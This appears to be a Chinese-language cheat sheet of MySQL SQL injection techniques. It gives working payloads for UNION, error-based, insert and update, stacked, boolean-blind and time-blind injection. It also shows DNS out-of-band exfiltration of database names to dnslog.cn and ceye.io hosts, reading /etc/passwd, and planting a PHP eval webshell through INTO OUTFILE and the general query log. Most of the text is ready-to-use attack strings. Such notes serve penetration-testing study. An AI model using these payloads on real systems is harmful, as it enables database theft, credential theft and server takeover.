定义:
后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句
是否有注入?
首先:
- 字符型:?id=1 参数后加 " ' ")) ")) 单双引号,引号括号等判断页面内容是否会消失
- 数字型:参数后id=3-1,观察页面是否会改变
其次:
- or/and 1=1 页面正常 or/and 1=2 页面内容消失
- or/and sleep(5) --+ / or '1'='1' 检测时间注入
如果当前数据表没有数据上面这种方法就无法检测,这个利用子查询结构还是可以检测:
- and (select 1 from(select sleep(5)))
注入成功与否的因素
- 准确的注入点
-
- 文章的id
- 用户id
- 搜索框
- 登录框
- 其他请求头:xff,cookie等
- 字符串的闭合方式:
关于这个闭合,一般用于字符型的注入
-
- '
- "
- %23
- --+
- 空格:
-
- /**/
- %20
注入方式
有回显
联合查询
位置通常在 where后面, 联合语句必须要在select的最后处,所以在注入过程中需要利用注释符号注释掉后面的结构,将前面的参数值改成负数,使得union的语句生效
sql
select * from users where id=1 union select 1,2,3,4;
!!!使用用法: order by后添加数字来推算数据表的列数order by 15 的时候页面正常 order by 16 的时候页面回显不正常便可推断数据表有15个列
bash
https://www.xxxx.com?id=8 order by 16
通常如果数字超过了列数,报错如下
sql
ERROR 1054(42S22): Unknown column '16'in'order clause'
获取回显点:
select 1,2,3,4,5 (select 1,2,3,4,5 .... ,数据表列数,就拿上面那个例子来说 就是 select 1,2,3,4,5) 一般 id后面的参数都要改成负的例:?id=-1,因为没有-1,所以要执行union select这段的语句,如图
sql
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15# 发现可以注入
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,database(),13,14,15#
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x636d73),13,14,15#
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x746869735f69735f666c6167),13,14,15#
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,flag,13,14,15 from this_is_flag#
报错注入
报错注入前提是要数据库需要开启报错提示,这样可以通过构造指定的payload来将我们需要的数据进行带出
scss
1.floor()
id=1 and (select 1 from (selectcount(*),concat(user(),floor(rand(0)*2))x from information_schema.tables groupby x)a);
2.extractvalue()
id=1 and(extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
id=1 and(updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
id=1 and polygon((select * from(select* from(select user())a)b));
7.multipolygon()
id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
id=1 and exp(~(select * from(select user())a));
常用的SQL报错注入有三种:floor报错注入,extractvalue报错注入,updatexml报错注入
后面两种类型其实是一样的,都是利用xpath来进行报错
Floor报错注入
限制:使用了mysql_error();等输出mysql报错才可以,mysql5.x版本
**记忆方法:select两个位置中一个是count(*), 另一个是floor(rand(0)2)然后利用concat集合payload将报错带出*
简单的来说就是 count( ) 和 floor(rand(0) 2)会起一个化学反应然后报错 利用concat将我们的payload链接进去就可以了
Payload:
csharp
and (select 1 from(select count(*),concat((version()),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);
UpdateXML报错注入
限制:开启mysql数据库报错信息显示,mysql5.1.5+,有长度限制最长32位
记忆方法: updatexml(a,b,c) 中间的位置为payload即可
updatexml(a,b,c) 如果b的位置不是xpath语法的话就会报错,所以我们可以通过报错来带出我们想要的数据
Payload:
less
and updatexml(1,concat(0x7e,(version()) ),1);
Extractvalue报错注入
限制:开启mysql数据库报错信息显示,mysql5.1.5+,有长度限制最长32位
记忆方法:extractvalue(a,b) 第二个位置为payload即可
exractvalue(a,b) 如果b的位置不是xpath语法的话就会报错,所以我们可以通过报错来带出我们想要的数据
模版:
less
and extractvalue(1,concat(0x7e,(version()) ));
ps:这里一定要加concat或group_concat 不然的话我们输出的数据是不完整的
vbnet
ERROR 1105 (HY000): XPATH syntax error: '.17'
加了concat之后
vbnet
ERROR 1105 (HY000): XPATH syntax error: '~8.0.17'
uploadxml&&extractvalue绕过长度限制
有时候password长度太长,无法全部显示
- substr(被截取字符串,起始位置,截取几位)
注意这里有两个concat第一个concat和我们的sql注入进行结合,第二个concat将0x7和substr()进行结合确保数据显示完整
csharp
select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,substr(password,1,10),0x7e) from test.admin limit 0,1)));
- substring(被截取字符串,开始位置,截取几位),配合length()函数使用更佳
lenth判断有多长
csharp
select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,length(password),0x7e) from test.admin limit 0,1)));
substring(password,1)从第一位开始截取,最长截取30位。substring(password,31) 31位到最后
csharp
select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,substring(password,1),0x7e) from test.admin limit 0,1)));
- left函数
left(user(),4)='root'; 从左往右取四个
- right函数
right(user(),9)='localhost'; 从右往左取9个
- mid函数
mid(字符串,开始位置,返回字符串如果没有则返回整个字符串)
insert注入&update注入
- insert注入
遇到的注入点是insert语句,这时我们可以利用报错注入或时间盲注来爆出我们想要的数据,判断我们输入的语句拼接到了参数的哪个部分,再进行按情况拼合
本地测试的时候的注入语句:
时间盲注:
sql
id=1 and (select 1 from(select case when user() like "%r%" then sleep(5) else 1 end)x),'1000') -- -
报错注入:
scss
extractvalue(1,(concat(0x7e,(payload),0x7e)))
id=1 and extractvalue(1,concat(0x7e,version())),'1000') -- - // 补全前面的结构然后注释掉后面的结构
- insert插入多行
进行闭合,对内容进行填充
sql
INSERT INTO test VALUES(1,'admin','admin'),(2,'test','test');
- update注入
也可以用报错和时间盲注
sql
id=1 and (select 1 from(select case when(user() like "%r%") then sleep(5) else 1 end )x)
id=1 and extractvalue(1,concat(1,database()))
堆叠注入
堆叠注入可通过分号来执行多个sql语句,危害非常大,不过在mysql中非常少见
php中查询需要用到 mysqli_multi_query 才可进行堆叠注入
csharp
id=1;select user();
无回显
scss
常用payload:
0'XOR(if(now()=sysdate(),sleep(3),0))XOR'T
if((length(database())=8),5,0) //判断数据库长度,在sleep()的参数进行替换
if((mid(database(),1,1='y')),5,0)
if((substr(database(),1,1)>120),5,0) //数据库首字母
布尔盲注
布尔(boolen)盲注就是通过判断返回页面的正确与否来进行拆解数据,因为不用等待延时所以相比时间盲注速度快很多
if条件判断布尔盲注
模板:
ini
and if(substring((PAYLOAD),1,1)='第一个字母',1=1,1=2);
例子:第一个表名为a的注入语句如下:
csharp
and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',1=1,1=2);
时间盲注
有时某网站会把回显和报错都进行关闭,这时候可以使用时间盲注根据回显的时间来判断数据是否正确
时间盲注的种类有三种:sleep,benchmark,笛卡尔积
时间盲注其实基本都是换汤不换药,主要的模版不变,换的就是那些造成延迟的函数,我个人觉得利用select case when这个比较好 如下
sql
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (延时函数) else 1 end)x);
利用benchmark函数
利用benchmark进行延时注入,经过测试在同id的情况下并不会出现延时时间翻倍情况
原理:将一个算式重复运算多次从而造成时间延迟
例:select benchmark(10000000,sha(1));
将she(1)执行10000000从而造成时间延迟
这种需要多加几个0,才能造成延迟
sql
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (select benchmark(10000000,sha(1))) else 1 end)x);
利用sleep函数
sql
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then sleep(5) else 1 end)x);
同样使用if也可以进行
sql
select * from admin where id=1 and if((substring(user(),1,1))='r',sleep(5),1)
测试过程中推荐使用sql子查询的方式来进行注入,这样sleep时间准确些
sql
select * from admin where id=1 and (select 1 from(select if(substring(user(),1,1)='r',sleep(5),1))x);
利用笛卡尔积
这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用。
css
SELECT count(*) FROM information_schema.columns A, information_schema.columns B;
套模板:
sql
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (SELECT count(*) FROM information_schema.columns A, information_schema.columns B) else 1 end)x);
if条件判断时间注入
scss
id=1 and sleep(2)
id=1 and if((substr(select user(),1,1)='r'),sleep(2),1)
模板:
scss
and if(substring((PAYLOAD),1,1)='第一个字母',sleep(5),1);
case条件判断时间注入
模板:
arduino
case when(条件语句) then sleep(5) else 1 end;
sql
select * from admin where id=1 and/or case when(select user() like '%root%') then sleep(5) else 1 end;
比较好用的,用于字符型的:
perl
and (select 1 from(select case when(ord(substr(database(),1,1))=105) then sleep(5) else 1 end)x) or '1'='1
外带法
DNS注入
通过把我们的结果当作我们的域名的前缀传回 ,主要是利用load_file这个函数,需要root的权限,secure_file_priv参数为空,windows操作系统
sql
show variables like "%secure%"
secure_file_priv 空 代表允许读写目录
secure_file_priv NULL 代表不允许输入输出
secure_file_priv D:\ 代表只能在D盘进行读写
less
select load_file(concat('\\',database(),'.xw2elk.dnslog.cn\abc'));
0'XOR(select load_file(concat('\\',(select database()),'.xxx.ceye.io\abc')))XOR't //payload
Mysql读写文件
条件:
- 查看secure_file_priv (5.5.53之前的版本是secure_file_priv变量 默认为空)
- root
如果要修改secure_file_priv 要在 mysql.ini (windows)/ my.cnf (linux) 文件中进行修改
sql
show variables like "%secure%";
csharp
select load_file('/etc/passwd'); //读文件
select '<?php phpinfo(); ?>' into outfile '/var/www/shell.php'; //写文件
select '<?php phpinfo(); ?>' into dumpfile '/var/www/shell.php'; //一般用于二进制文件
Linux下写文件
如果想要使用读写函数,必须满足以下要求:
- 当前用户是root用户
- secure_file_priv 为空 或者要写入的文件夹刚好是secure_file_priv的特定文件夹
- 写shell的文件夹必须要 777的权限不然会写入失败
- 文件大小: 必须小于max_allowed_packet
arduino
ERROR 1 (HY000): Can't create/write to file '/usr/2.php' (Errcode: 13)
Linux下读文件
- 当前用户是root用户
- 目标文件可读,如下:
windows下读文件
- 用户root
- secure_file_priv 要为空(或指定路径为我们可以访问到的)
csharp
select load_file('C:/sql.txt');
windows下写文件
- 用户root
- secure_file_priv 要为空(或指定路径为我们可以访问到的)
sql
SELECT 'XXXXXX' INTO OUTFILE '路径';
SELECT 'XXXXXX' INTO DUMPFILE '路径'; // 一般用于写二进制数据
利用绝对路径写shell
csharp
select '<?php eval($_POST['pwd']); ?>' into outfile /homt/wwwroot/default/a.php
利用mysql的日志getshell
其实原理都是相同的,把我们的木马放到我们的网站根目录下,这种情况的话比较适合于已经登陆进phpmyadmin,windows才可以用这种方式 linux下对文件路径进行一个规定只能往 /tmp/ /var/ 下写
将我们的mysql日志文件移动到我们的web目录下,然后将我们的代码引入到日志文件中,最终getshell
知道网站的绝对路径 (从一些探针文件或者phpinfo 等文件中进行一个获取)
ini
SET GLOBAL general_log_file=ON;
SET GLOBAL general_log_file='/homt/wwwroot/default/a.php';
SELECT '<?php eval($_POST['test']); ?>';
SET GLOBAL general_log_file=OFF;